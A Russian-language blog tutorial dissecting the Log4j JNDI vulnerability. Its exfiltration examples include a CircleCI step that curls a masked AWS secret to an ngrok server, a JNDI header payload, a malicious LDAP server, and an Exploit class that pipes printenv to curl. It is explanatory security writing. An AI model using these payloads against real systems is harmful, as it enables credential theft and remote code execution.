Разбираем Log4j уязвимость в деталях… с примерами и кодом

в 18:45, , рубрики: java, log4j, информационная безопасность, Серверное администрирование

Что-то пошло не так

Думаю все слышали про критическую уязвимость в Log4j, которая существует уже не один десяток лет, но была обнаружена совсем недавно. В итоге ей присвоили самый высокий критический статус CVE-2021-44228 и многие компании, включая Microsoft, Amazon и IBM признали, что некоторые их сервисы подвержены этой уязвимости. Ее суть в том, что Log4j позволяет выполнить любой вредоносный код на сервере при помощи Java Naming and Directory Interface (JNDI). Хотя последние 2 года Java я использую крайне редко, мне все равно стало интересно разобраться с проблемой более детально.

История о том как я искал ключи

Начну очень издалека ... с жизненного примера, который не имеет ничего общего с Log4j и Java, но даст базовое понимание того как можно использовать уязвимости. Как-то я работал на проекте, где другой разработчик занимался конфигурацией Continuous Integration, но перед увольнением забыл не захотел поделиться Environment Variables. Пол года все работало хорошо, но пришло время что-то подкрутить и мне понадобились то ли ключи, то ли реквизиты для доступа к базе данных. Проблема в том, что в CircleCI (а мы использовали именно его) нельзя просто так увидеть значения переменных окружения, так как в браузере они отображаются в замаскированном виде. Тоесть во время создании переменной ее значение видно (что очевидно)

Разбираем Log4j уязвимость в деталях… с примерами и кодом - 1

А уже после, мы видим только маску в формате хххх{four-last-characters} (что в принципе тоже очевидно)

Разбираем Log4j уязвимость в деталях… с примерами и кодом - 2

Так как я все таки разработчик и у меня было доступ к конфигурации деплоя <repository>/.circleci/config.yml, то первое что мне пришло в голову, это распечатать значение переменной окружения прямо в консоль используя echo, что в реалиях CircleCI выглядит приерно так

version: 2.1

jobs:
  build:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run: echo "Hello world"
      - run: echo ${CIRCLE_REPOSITORY_URL}
      - run: echo ${AWS_SECRET_ACCESS_KEY}
workflows:
  build:
    jobs:
      - build

Здесь CIRCLE_REPOSITORY_URL - встроенная переменная CircleCI, а AWS_SECRET_ACCESS_KEY - переменная проекта созданная вручную. К сожалению счастью вывод в консоль сработал только для встроенной переменной, а вместо AWS ключа распечаталась маска ************************** которая мало чем может помочь

Разбираем Log4j уязвимость в деталях… с примерами и кодом - 3

К слову, в первые годы жизни CircleCI это еще работало, но в конце 2019 хак сломали починили.

Думаем дальше и приходим к выводу, что очень часто, переменные окружения - это ключи или токены, которые используются для аутентификации/авторизации на других ресурсах и логично предположить, что если “вкинуть” переменную в curl, то CI отправит ее в “сыром” виде и уже принимающая сторона сможет увидеть значение без маски. Пишем очень примитивный HTTP сервер на Node.js единственная задача которого печатать тело запроса в консоль

const express = require('express')
const app = express()
const port = 3000

app.use(express.text())

// Accepts literally any request to literally any path
app.all('*', (req, res) => {
  // Print body to the console
  console.log(req.body)

  // Respond with empty string
  res.send('')
})

app.listen(port, () => {
  console.log(`App listening at http://localhost:${port}`)
})

Запускаем локально, тестируем

curl --header 'content-type: text/plain' http://localhost:3000/literally-anything-goes-here -d 'Plain text body'

Убеждаемся что все работает хорошо и тело запроса вывелось в консоль

$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
Plain text body

Единственное, что мешает нам отправить curl запрос из CircleCI на наш Node.js HTTP сервер это то, что сервер поднят на localhost и его “не видно из интернета”. Эту проблему нам помогает решить ngrok. Для тех кто никогда не слышал про ngrok - это “приблуда”, которая открывает локальный порт и позволяет делать запросы к localhost извне сети даже в обход NAT или firewall. Запускам ngrok и просим его делать forward HTTP запросов на локальный 3000 порт (тот на котором “бегает” Node.js HTTP сервер)

$ ngrok http 3000

Получаем HTTP и HTTPS ссылки, которые “видно из интернета”

ngrok by @inconshreveable                                                                                                                                                                  (Ctrl+C to quit)
                                                                                                                                                                                                           
Session Status                online                                                                                                                                                                       
Account                       Oleksandr (Plan: Free)                                                                                                                                                       
Version                       2.3.40                                                                                                                                                                       
Region                        United States (us)                                                                                                                                                           
Web Interface                 http://127.0.0.1:4040                                                                                                                                                        
Forwarding                    http://5675-136-28-7-90.ngrok.io -> http://localhost:3000                                                                                                                    
Forwarding                    https://5675-136-28-7-90.ngrok.io -> http://localhost:3000                                                                                                                   
                                                                                                                                                                                                           
Connections                   ttl     opn     rt1     rt5     p50     p90                                                                                                                                  
                              2       0       0.03    0.01    5.07    5.14   

Осталось собрать все до кучи и отправить curl запрос из CircleCI. Для этого обновляем <repository>/.circleci/config.yml

version: 2.1

jobs:
  build:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run: echo "Hello world"
      - run: echo ${CIRCLE_REPOSITORY_URL}
      - run: echo ${AWS_SECRET_ACCESS_KEY}
      - run:
          name: curl ${AWS_SECRET_ACCESS_KEY}
          command: |
            curl --header "content-type: text/plain" http://5675-136-28-7-90.ngrok.io/literally-anything-goes-here -d "${AWS_SECRET_ACCESS_KEY}"
workflows:
  build:
    jobs:
      - build

Коммитим, пушим, смотрим в CircleCI и видим что curl запрос был отправлен успешно

Разбираем Log4j уязвимость в деталях… с примерами и кодом - 4

А в консоле Node.js HTTP сервера находим значение переменной окружения AWS_SECRET_ACCESS_KEY которая пришла в теле curl запроса

$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
fake-aws-secret-access-key

Разберем ключевые моменты

Разбираем Log4j уязвимость в деталях… с примерами и кодом - 5

Первое, доставка и выполнение вредоносного кода происходит самым обычным пушем в git. Это пожалуй то, что делает этот пример очень тривиальным, ведь у нас есть доступ к репозиторию и возможность в него пушить, а соответственно и доставить вредоносный код жертве.

Второе, жертва (в нашем случае CircleCI) выполняет код, выдает cекрет и даже не подозревает об этом.

Третье, извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js HTTP сервера.

Пишем и взламываем RESTful Web Service

Очевидно, что самым сложным моментом в процессе эксплоита является доставка и выполнение вредоносного кода, и в случае с Log4j в этом и заключается уязвимость. Камнем предкновения стал так называемый Lookups в Log4j, который позволяет получить значения переменных из конфигурации. Например, вот как можно распечатать AWS_SECRET_ACCESS_KEY  в консоль

public class App {

    private static final Logger LOGGER = LogManager.getLogger(App.class);

    public static void main(String[] args) {
        LOGGER.info("ENV: ${env:AWS_SECRET_ACCESS_KEY}");
    }
}

Получаем

12:16:13.860 [main] INFO  org.boilerplate.log4j.App - ENV: fake-aws-secret-access-key

Сам по себе Lookups не страшен, но настоящей проблемой стал JNDI Lookups, который позволяет сделать запрос к удаленному LDAP серверу. Для тех кто не знаком с JNDI и LDAP, вкратце, JNDI - набор интерфейсов, который позволяет общатся с разными ресурсами и обьектами, включая LDAP, DNS, CORBA и т.д., а LDAP - протокол доступа к службе каталогов типа Microsoft Active Directory, позволяющий производить операции аутентицикации, поиска и т.д. в каталоге. Тоесть, если у нас есть LDAP сервер, мы можем отправить к нему запрос используя JNDI.

Не теряя времени, пишем простой LDAP сервер на Node.js единственная задача которого, печатать информацию о запросе в консоль

const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389

server.search('', (req, res, next) => {
  // Print request attributes to the console
  console.log(req.baseObject.rdns[0].attrs.q);

  // Dummy response
  res.send({
    dn: '',
    attributes: {}
  })

  res.end()
})

server.listen(port, () => {
  console.log(`LDAP server listening at ${server.url}`)
})

Как и в предыдущем примере, запускам ngrok и просим его делать forward TCP запросов (LDAP протокол использует именно TCP) на локальный 1389 порт (тот на котором “бегает” Node.js LDAP сервер)

$ ngrok tcp 1389

Получаем TCP ссылку, которую “видно из интернета”

ngrok by @inconshreveable                                                                                                                                                                  (Ctrl+C to quit)
                                                                                                                                                                                                           
Session Status                online                                                                                                                                                                       
Account                       Oleksandr (Plan: Free)                                                                                                                                                       
Version                       2.3.40                                                                                                                                                                       
Region                        United States (us)                                                                                                                                                           
Web Interface                 http://127.0.0.1:4040                                                                                                                                                        
Forwarding                    tcp://4.tcp.ngrok.io:18013 -> localhost:1389                                                                                                                                 
                                                                                                                                                                                                           
Connections                   ttl     opn     rt1     rt5     p50     p90                                                                                                                                  
                              0       0       0.00    0.00    0.00    0.00   

Обновляем Java-приложение таким образом что бы Log4j писал в лог запрос к нашему LDAP серверу с использоваением JNDI

public class App {

    private static final Logger LOGGER = LogManager.getLogger(App.class);

    public static void main(String[] args) {
        LOGGER.info("ENV: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}");
    }
}

Смотрим в консоль Node.js LDAP сервера и видим значение переменной окружения AWS_SECRET_ACCESS_KEY которая пришла в теле запроса

$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldape: 'fake-aws-secret-://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }

Очевидно, что никто в здравом уме не будет пистать в лог вот такую строку ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}, поэтому продолжаем наш эксперимент ... конвертируем Java-приложение в RESTful Web Service используя Spring, но вместо стандартного Logback “просим” Spring использовать Log4j, как это сделать описано здесь How to use Log4j 2 with Spring Boot. Получаем вот такой контроллер

@RestController
public class GreetingController {

    private final AtomicLong counter = new AtomicLong();

    @GetMapping("/greeting")
    public Greeting greeting() {
        return new Greeting(counter.incrementAndGet(), "Greetings!");
    }
}

Так же “говорим” Spring, что хотим писать в лог всю информацию о входящих запросах, включая headers

@SpringBootApplication
public class RestServiceApplication {

    public static void main(String[] args) {
        SpringApplication.run(RestServiceApplication.class, args);
    }

    @Bean
    public CommonsRequestLoggingFilter requestLoggingFilter() {
        CommonsRequestLoggingFilter loggingFilter = new CommonsRequestLoggingFilter();
        loggingFilter.setIncludeClientInfo(true);
        loggingFilter.setIncludeQueryString(true);
        loggingFilter.setIncludePayload(true);
        loggingFilter.setIncludeHeaders(true);
        return loggingFilter;
    }
}

Запускаем сервис и убеждаемся что он работает

$ curl http://localhost:8080/greeting
{"id":1,"content":"Greetings!"}

Дальше, отправляем уже знакомый нам запрос к LDAP ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}} в заголовке curl запроса

curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting

И в консоле Node.js LDAP сервера видим значение переменной окружения AWS_SECRET_ACCESS_KEY

$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldap://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }

Ключевые моменты остались теми же, немножко изменилась реализация

Разбираем Log4j уязвимость в деталях… с примерами и кодом - 6

Первое, доставка вредоносного кода происходит с помоющь обычного HTTP запроса к серверу. Вот такая строка ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}} может прийти или в теле запроса или в его заголовке, главное что бы Log4j попытался эту строку записать в лог, и собственно в этот момент происходит выполнение. В этом случае нам даже не нужен доступ к сервису, достаточно уметь пользоваться curl и знать куда отправлить HTTP запрос.

Второе, жертва (в этом случае Log4j) выполняет код, выдает cекрет и даже не подозревает об этом.

Третье, извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js LDAP сервера.

Несколько комментариев

  1. Совсем не обязательно явно использовать Log4j. В нашем примере, мы явно нигде не вызывали Log4j, а просто “попросили” Spring писать в лог информацию о входящих запросах. Значит любая зависимость в проекте, которая использует Log4j может выполнить вредоносный код. Более того, вы даже можете не знать о том, что какая-то сторонняя библиотека его использует ... Например, в Maven можно построить дерево зависимостей и посмотреть какие библиотеки используются в проекте $ mvn dependency:tree | grep log4j

  2. Даже если облако (AWS, GCP, Azure, etc) фильтрует заголовки запросов перед тем как отправить их на срвер, все не отфильтруешь и проблема может вылезть даже в таких неожиданных местах как имя пользователя или сообщение в чате. Как например с изменением имени устройства в iCloud You can set the name of your iPhone and exploit Apple iCloud currently

  3. В нашем примере мы знаем, что переменная окружения называется AWS_SECRET_ACCESS_KEY, тоесть если мы используем “экзотичиские” имена переменных, то нам и нечего бояться? Это не совсем так ... каким бы сложным не казался последний пример, JNDI может намного больше чем “просто спросить” LDAP сервер

Ковыряем внутри JNDI

Забегая наперед, скажу пару слов о сериализации и десериализации. Сериализация и десериализация в Java это способ сохранить обьект в текстовом виде (сериализация) и восстановить этот же обьект в Java позже (десериализация). Это как конвертировать Java-обьект в JSON, а потом JSON конвертировать в Java-обьект на другом сервере, почитать детальнее можно здесь Java Object Serialization.

Как оказывается, JNDI может создавать обьекты на основании ответа от LDAP сервера, нужно просто знать что вернуть. Например, если LDAP сервер вернет атрибут javaClassName, то JNDI попытается десериализовать обьект (см. LdapCtx.java#L1078-L1081)

if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
    // serialized object or object reference
    obj = Obj.decodeObject(attrs);
}

Дальше совсем не долго посмотреть в исходный код JNDI и разобраться, какие еще атрибуты нужно вернуть (см. Obj.java#L63-L81 и Obj.java#L227-L260)

// LDAP attributes used to support Java objects.
static final String[] JAVA_ATTRIBUTES = {
    "objectClass",
    "javaSerializedData",
    "javaClassName",
    "javaFactory",
    "javaCodeBase",
    "javaReferenceAddress",
    "javaClassNames",
    "javaRemoteLocation"     // Deprecated
};

static final int OBJECT_CLASS = 0;
static final int SERIALIZED_DATA = 1;
static final int CLASSNAME = 2;
static final int FACTORY = 3;
static final int CODEBASE = 4;
static final int REF_ADDR = 5;
static final int TYPENAME = 6;

static Object decodeObject(Attributes attrs)
    throws NamingException {

    Attribute attr;

    // Get codebase, which is used in all 3 cases.
    String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
    try {
        if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
            if (!VersionHelper.isSerialDataAllowed()) {
                throw new NamingException("Object deserialization is not allowed");
            }
            ClassLoader cl = helper.getURLClassLoader(codebases);
            return deserializeObject((byte[])attr.get(), cl);
        } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
            // For backward compatibility only
            return decodeRmiObject(
                (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                (String)attr.get(), codebases);
        }

        attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
        if (attr != null &&
            (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
            return decodeReference(attrs, codebases);
        }
        return null;
    } catch (IOException e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }
}

Понимаем, что нам нужны атрибуты javaClassName, javaSerializedData и javaCodeBase. Создаем очень простой класс Exploit

public class Exploit implements Serializable {

    private static final long serialVersionUID = -6153657763951339296L;

    private void readObject(ObjectInputStream objectInputStream) throws ClassNotFoundException, IOException {
        // Any shady shit goes here
        Runtime.getRuntime().exec("printenv | tr '\n' '&' | curl --header "content-type: text/plain" https://aec6-136-28-7-90.ngrok.io -d @-");
    }

    private void writeObject(ObjectOutputStream objectOutputStream) throws IOException {}
}

Создаем обьект класса Exploit, сериализируем его и получаем вот такую строку

'sr'Exploit[''xpx

Конвертируем ее в Base64

rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=

Собираем jar файл с классом Exploit и закидываем в любое место доступное по HTTP (для простоты я залил на GitHub). Обновляем LDAP сервер таким образом, что бы он возвращал нужные нам атрибуты

const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389

server.search('', (req, res, next) => {
  // Print request attributes to the console
  console.log(req.baseObject.rdns[0].attrs.q);

  // Dummy response
  res.send({
    dn: '',
    attributes: {
      javaClassName: 'Exploit',
      javaSerializedData: Buffer.from('rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=', 'base64'),
      javaCodeBase: 'https://raw.githubusercontent.com/oleksandrkyetov/log4j-boilerplate/master/Exploit.jar'
    }
  })

  res.end()
})

server.listen(port, () => {
  console.log(`LDAP server listening at ${server.url}`)
})

И отправляем curl запрос на сервер как и в предыдущем случае

curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting

В итоге получаем не только переменную окружения AWS_SECRET_ACCESS_KEY, но и все содержимое printenv

В данном случае, как только сервер получит ответ из LDAP

  1. ClassLoader загрузит Exploit.jar и узнает о классе Exploit

  2. Десериализуется обьект класса Exploit

  3. Во время десериализации выполнится код из метода readObject(), а именно Runtime.getRuntime().exec("printenv | tr '\n' '&' | curl --header "content-type: text/plain" https://aec6-136-28-7-90.ngrok.io -d @-");

  4. Содержимое printenv “сольется” curl запросом

По сути, во время десериализации, можно выполнить любой код, и даже получить доступ к bash сервера. Справедливости ради, скажу, что этот метод будет работать, только в случае если -Dcom.sun.jndi.ldap.object.trustURLCodebase стоит в true, тоесть если мы разрешили Java загружать jar-файлы в ClassLoader из внешних источников, но уже существует способ это обойти JNDI-Injection-Bypass.

Итог

Естественно, в Log4j это уже починили, но в целом проблема не новая. Есть десятки статей, которые так и называются “... JNDI Injection ...” и были написаны 3-5 лет назад Attacking Unmarshallers :: JNDI Injection using Getter Based Deserialization Gadgets, Jackson deserialization exploits, Json Deserialization Exploitation, есть даже видео 5ти летней давности на эту тему A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land.

Самая большая пробелма в том, что JNDI никуда не делся, а так же никуда не делись разработчики, которые не знают о JNDI, но пишут библиотеки, которыми в итоге пользуются другие ...

Автор: Александр Кетов

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js